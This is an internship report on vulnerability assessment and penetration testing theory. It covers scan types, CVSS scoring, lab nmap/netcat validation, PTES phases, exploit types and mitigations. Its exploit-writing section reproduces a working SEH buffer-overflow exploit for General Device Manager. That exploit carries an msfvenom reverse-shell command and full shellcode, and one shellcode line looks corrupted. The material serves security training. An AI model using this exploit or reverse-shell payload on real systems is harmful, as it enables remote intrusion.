



Vulnerability Assessment and Penetration Testing (VAPT) Theoretical Knowledge Overview

Cybersecurity Internship – CyArt

Date: 20th Mar 2026

Prepared by: Akash Bangera



Contents

1. Vulnerability Scanning Techniques	3
1.1 Objective	3
1.2 Scan Types	3
1.3 Vulnerability Scoring	4
1.4 False Positives	6
2. Penetration Testing Techniques	8
2.1 Objective	8
2.3 Methodologies	9
2.4 Ethics	9
3. Exploit Development Basics	10
3.1 Objectives	10
3.2 Exploit Types	10
3.3 Exploit Writing	11
3.4 Mitigations	13



1. Vulnerability Scanning Techniques

1.1 Objective:

Configure and validate scans for accurate risk assessment.

1.2 Scan Types:

1. Network Scans:

Network scanning is done to discover and identify active hosts, open ports, operating system information and services running on the target network. Pentester is used as an entry point to get access to the system

Tools:

- Network Mapper (Nmap)

2. Application Scans:

Application Scanning focuses on web application and software to find a list of security weaknesses in a system, such as SQL injection, Cross-Site Scripting, Insecure Direct Object References, etc.

Tools:

- Nikto
- Owasp ZAP

3. Authenticated Scans vs Unauthenticated Scans

Authenticated Scan:

Authenticated Scanning, also known as credential scanning, involves conducting vulnerability scans while authenticating with valid credentials or user accounts

Pros:



- Deep visibility into internal settings and software
- Accurately find hidden vulnerabilities
- Enables targeted remediation
- Often required for compliance

Cons:

- Getting valid credentials can be difficult
- Risk of accidental disruption if misconfigured
- More time and resource intensive
- Needs formal authorization and documentation

Unauthenticated Scan:

Unauthenticated Scanning is typically performed from an external perspective to evaluate the security of internet-facing systems such as web applications, websites and network infrastructure accessible to public.

Pros:

Identifies vulnerabilities visible to external attackers
Early detection of common/external flaws
Faster and less resource intrusive
Ideal for external system assessment

Cons:

Can't detect internal or user-specific issues
May produce false positives
Offers only a partial security view
Often insufficient for compliance checks

1.3 Vulnerability Scoring:

Vulnerability scoring is used to identify the impact and risk of the vulnerability. It is a process of assigning a numerical severity value to a security vulnerability to determine its risk level and remediation priority. It provides a score from 0.0 to 10.0 that indicates the severity of a vulnerability. The most commonly used framework is Common Vulnerability Severity Score (CVSS) v4.0.



Severity Levels

CVSS Score	Severity	Description
0.0	None	No Security Impact
0.1 - 3.9	Low	Minimal Impact
4.0 - 6.9	Medium	Moderate Risk
7.0 – 8.9	High	Serious Vulnerability
9.0 – 10.0	Critical	Severe Risk, Immediate patch required

Example:

Case 1: Critical Severity RCE

Common Vulnerability Scoring System Version 4.0 Calculator

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Reset

CVSS v4.0 Score: **9.3 / Critical** ⓘ

Hover over metric names and metric values for a summary of the information in the official CVSS v4.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics [?]

Exploitability Metrics

Attack Vector (AV):

Network (N)

Adjacent (A)

Local (L)

Physical (P)

Attack Complexity (AC):

Low (L)

High (H)

Attack Requirements (AT):

None (N)

Present (P)

Privileges Required (PR):

None (N)

Low (L)

High (H)

User Interaction (UI):

None (N)

Passive (P)

Active (A)

Vulnerable System Impact Metrics

Confidentiality (VC):

High (H)

Low (L)

None (N)

Integrity (VI):

High (H)

Low (L)

None (N)

Availability (VA):

High (H)

Low (L)

None (N)

CVSS Score = 9.3 (Critical)

Reason:



- No Privileges Required
- No User Interaction
- Fully System Compromise

Case 2: High Severity RCE

Common Vulnerability Scoring System Version 4.0 Calculator

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 Score: 8.7 / High ⊕

Hover over metric names and metric values for a summary of the information in the official CVSS v4.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics [?]			
Exploitability Metrics			
Attack Vector (AV):	<input checked="" type="button" value="Network (N)"/>	Adjacent (A)	Local (L)
Attack Complexity (AC):	<input checked="" type="button" value="Low (L)"/>	High (H)	
Attack Requirements (AT):	<input checked="" type="button" value="None (N)"/>	Present (P)	
Privileges Required (PR):	None (N)	<input checked="" type="button" value="Low (L)"/>	High (H)
User Interaction (UI):	<input checked="" type="button" value="None (N)"/>	Passive (P)	Active (A)
Vulnerable System Impact Metrics			
Confidentiality (VC):	<input checked="" type="button" value="High (H)"/>	Low (L)	None (N)
Integrity (VI):	<input checked="" type="button" value="High (H)"/>	Low (L)	None (N)
Availability (VA):	<input checked="" type="button" value="High (H)"/>	Low (L)	None (N)

Score = 8.7 (High)

Reason:

- Require Low Privileges
- Not Fully Unauthenticated

1.4 False Positives:

False positives occur when a vulnerability scanning tool reports a security issue that does not actually exist or is not exploitable on the target system. An automated scanner sometimes gives false results, which is why we have to check it manually by actively exploiting that vulnerability.

Automated Nmap Scan Result:



```
(kali@kali)-[~]
$ nmap -sV 192.168.0.115
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 07:17 -0400
Nmap scan report for 192.168.0.115
Host is up (0.0020s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login          OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:29:B1:FB (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE:
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds
```

Nmap scan result

Validate Findings By Doing:

- Manually check for an open port by using nmap

```
(kali@kali)-[~]
$ nmap -p 80 -sV 192.168.0.115
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 14:10 -0400
Nmap scan report for 192.168.0.115
Host is up (0.00060s latency).

PORT      STATE SERVICE        VERSION
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
MAC Address: 00:0C:29:29:B1:FB (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 7.23 seconds
```

Validation of scan result

- Manually check for an open port by using netcat



```
(kali㉿kali)-[~]  
$ nc -zv 192.168.0.115 80  
192.168.0.115: inverse host lookup failed: Unknown host  
(UNKNOWN) [192.168.0.115] 80 (http) open
```

Validation of scan result

2. Penetration Testing Techniques

2.1 Objective:

To establish a structured penetration testing workflow aligned with the Penetration Testing Execution Standard (PTES) phases.

2.2 Phases

1. Reconnaissance:

Reconnaissance is the initial phase of the VAPT, and it is a process of gathering information about the target system. There are two types of reconnaissance: active and passive. In Passive Reconnaissance, information is gathered without directly interacting with the target system (e.g., Shodan, WHOIS, Maltego), while in Active Reconnaissance, information is gathered by directly interacting with the target system (e.g., Nmap, Nikto, Metasploit, Nessus). The goal is to identify potential attack surfaces such as IP addresses, domains, services, and technologies.

2. Scanning:

Scanning involve activel probing the target system to discover open ports, running services, and operating system details. Enumeration further extracts detailed information such as users, configurations and network resources to support exploitation.



3. Exploitation:

Exploitation is the process by which identified vulnerabilities are actively used to gain unauthorized access or execute malicious actions on the target system. This demonstrates the real-world impact of the vulnerability.

4. Post-Exploitation:

Post-Exploitation is the process that is done after gaining access to get higher privileges, extract credentials and maintain persistence within the system.

5. Reporting:

Reporting is the process of documenting all the findings, such as reconnaissance, scanning, identified vulnerabilities, impact and remediation steps in a structured format. It helps to improve system security.

2.3 Methodologies

1. PTES:

PTES (Penetration Testing Execution Standard) is a framework that defines a structured approach to conducting penetration tests, covering all phases from reconnaissance to reporting to ensure consistency and completeness

2. OWASP WSTG:

OWASP WSTG (Web Security Testing Guide) is a methodology for testing web application security, providing guidelines to identify vulnerabilities such as SQL injection, XSS, IDOR, and authentication flaws.

2.4 Ethics

Ethics in penetration testing refers to conducting assessments legally and responsibly, ensuring proper authorization adherence to scope, confidentiality, and safe handling of data.



3. Exploit Development Basics

3.1 Objectives:

The objective is to understand common exploit types such as buffer overflows, SQL injection, and XSS. It also aims to develop the ability to use and modify basic Proof-of-Concept exploits. Another objective is to build simple exploit crafting skills using basic tools and scripts. Additionally, it focuses on understanding mitigation techniques like ASLR, WAF, and patching.

3.2 Exploit Types:

1. Buffer Overflow

A Buffer Overflow is a type of vulnerability that occurs when a program writes more data to a memory buffer than it can hold, causing adjacent memory locations to be overwritten. This can lead to corruption of critical data such as function pointers or return addresses, allowing attackers to redirect program execution to malicious code. Buffer overflows are commonly exploited using techniques such as stack smashing and require detailed knowledge of memory layout and system architecture.

2. SQL Injection (SQLi)

SQL Injection is a web application vulnerability that occurs when untrusted user input is improperly validated and directly incorporated into SQL queries, allowing attackers to manipulate the query structure. This can result in unauthorized access to databases, data extraction, modification, or deletion. SQL injection attacks exploit weaknesses in input validation and query construction, particularly in applications that do not use parameterized queries or prepared statements.

3. Cross-Site Scripting (XSS)

Cross-Site Scripting is a vulnerability that allows attackers to inject malicious scripts into web pages that are executed in the browsers of other users. It occurs when user input is not properly sanitized or encoded before being rendered. XSS can be classified into reflected, stored, and DOM-based types. Successful exploitation can lead to session hijacking, credential theft, and unauthorized actions performed on behalf of the victim.



3.3 Exploit Writing

Exploit writing is the process of developing code or scripts that trigger a vulnerability to achieve a specific outcome, such as gaining access or executing commands.

- Involves crafting payloads (input data designed to exploit flaws)
- May use scripting languages like Python for automation
- Often based on publicly available Proofs-of-Concept (PoCs)

Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH)

```
import struct
```

```
offset = b"A" * 1308
```

```
nseh = b"\xEB\x06\x90\x90" # jmp short
```

```
seh = struct.pack('<I', 0x10081827) # 0x10081827 : pop ebx # pop esi # ret | ascii  
{PAGE_EXECUTE_READ} [NetSDK.dll] ASLR: False, Rebase: False, SafeSEH:  
False, OS: False, v4.0.8.66 (C:\Program Files (x86)\DeviceManage\NetSDK.dll)
```

```
nops = b"\x90" * 32
```

```
#shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.132  
LPORT=1337 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -f  
python --var-name shellcode
```

```
shellcode = b""  
shellcode += b"\xd9\xc6\xbb\xae\xc7\xed\x8e\xd9\x74\x24\xf4"  
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13"  
shellcode += b"\x03\xf4\xd4\x0f\x7b\xf4\x33\x4d\x84\x04\xc4"  
shellcode += b"\x32\x0c\xe1\xf5\x72\x6a\x62\xa5\x42\xf8\x26"  
shellcode += b"\x4a\x28\xac\xd2\xd9\x5c\x79\xd5\x6a\xea\x5f"  
shellcode += b"\xd8\x6b\x47\xa3\x7b\xe8\x9a\xf0\x5b\xd1\x54"  
shellcode += b"\x05\x9a\x16\x88\xe4\xce\xcf\xc6\x5b\xfe\x64"  
shellcode += b"\x92\x67\x75\x36\x32\xe0\x6a\x8f\x35\xc1\x3d"  
shellcode += b"\x9b\x6f\xc1\xbc\x48\x04\x48\xa6\x8d\x21\x02"
```



```
shellcode += b"\x5d\x65\xdd\x95\xb7\xb7\x1e\x39\xf6\x77\xed"
shellcode += b"\x43\x3f\bfx0e\x36\x49\xc3\xb3\x41\x8e\xb9"
shellcode += b"\x6f\xc7\x14\x19\xfb\x7f\xf0\x9b\x28\x19\x73"
shellcode += b"\x97\x85\x6d\xdb\xb4\x18\xa1\x50\xc0\x91\x44"
shellcode += b"\xb6\x40\xe1\x62\x12\x08\xb1\x0b\x03\xf4\x14"
shellcode += b"\x33\x53\x57\xc8\x91\x18\x7a\x1d\xa8\x43\x13"
shellcode += b"\xd2\x81\x7b\xe3\x7c\x91\x08\xd1\x23\x09\x86"
shellcode += b"\x59\xab\x97\x51\x9d\x86\x60\xcd\x60\x29\x91"
shellcode += b"\xc4\xa6\x7d\xc1\x7e\x0e\xfe\x8a\x7e\xaf\x2b"
shellcode += b"\x1c\x2e\x1f\x84\xdd\x9e\xdf\x74\xb6\xf4\xef"
shellcode += b"\xab\xa6\xf7\x25\xc4\x4d\x02\xae\x94\x91\x0c"
shellcode += b"\x2f\x03\x90\x0c\x2a\xea\x1d\xea\x5e\x1c\x48"
shellcode += b"\xa5\xf6\x85\xd1\x3d\x66\x49\xcc\x38\xa8\xc1"
shellcode += b"\xe3\xbd\x67\x22\x89\xad\x10\xc2\xc4\x8f\xb7"
shellcode += b"\xdd\xf2\xa7\x54\x4f\x99\x37\x12\x6c\x36\x60"
shellcode += b"\x73\x42\x4f\xe4\x69\xfd\xf9\x1a\x70\x9b\xc2"
shellcode += b"\x9e\xaf\x58\xcc\x1f\x3d\xe4\xea\x0f\xfb\xe5"
shellcode += b"\xb6\x7b\x53\xb0\x60\xd5\x15\x6a\xc3\x8f\xcf"
shellcode += b"\xc1\x8d\x47\x89\x29\x0e\x11\x96\x67\xf8\xfd"
shellcode += b"\x27\xde\xbd\x02\x87\xb6\x49\x7b\xf5\x26\xb5"
shellcode += b"\x56\xbd\x47\x54\x72\xc8\xef\xc1\x17\x71\x72"
shellcode += b"\xf2\xc2\xb6\x8b\x71\xe6\x46\x68\x69\x83\x43"
shellcode += b"\x34\x2d\x78\x3e\x25\xd8\x7e\xed\x46\xc9"
```

```
final_payload = offset + nseh + seh + nops + shellcode
```

```
# write the final payload to a file
```

```
try:
```

```
    with open('pwned.txt', 'wb') as f:
```

```
        print("[+] Creating %s bytes evil payload..." %len(final_payload))
```

```
        f.write(final_payload)
```

```
        f.close()
```

```
        print("[+] File created!")
```

```
except:
```

```
    print("File cannot be created!")
```



3.4 Mitigations

1. Address Space Layout Randomization (ASLR)

ASLR is a security mitigation technique that randomizes the memory addresses used by system and application processes, making it difficult for attackers to predict the location of specific code or data in memory. This reduces the effectiveness of memory-based attacks such as buffer overflows by introducing unpredictability in the execution environment.

2. Data Execution Prevention (DEP)

DEP is a security feature that prevents the execution of code in memory regions that are intended to store data, such as the stack or heap. By enforcing memory protection policies, DEP helps mitigate exploitation techniques that rely on injecting and executing malicious code in non-executable memory areas.

3. Web Application Firewall (WAF)

A Web Application Firewall is a security control that monitors, filters, and blocks HTTP/HTTPS traffic between a client and a web application, protecting against common web-based attacks such as SQL injection, XSS, and file inclusion. WAFs operate based on predefined rules, signatures, and behavioural analysis to detect and mitigate malicious requests in real time.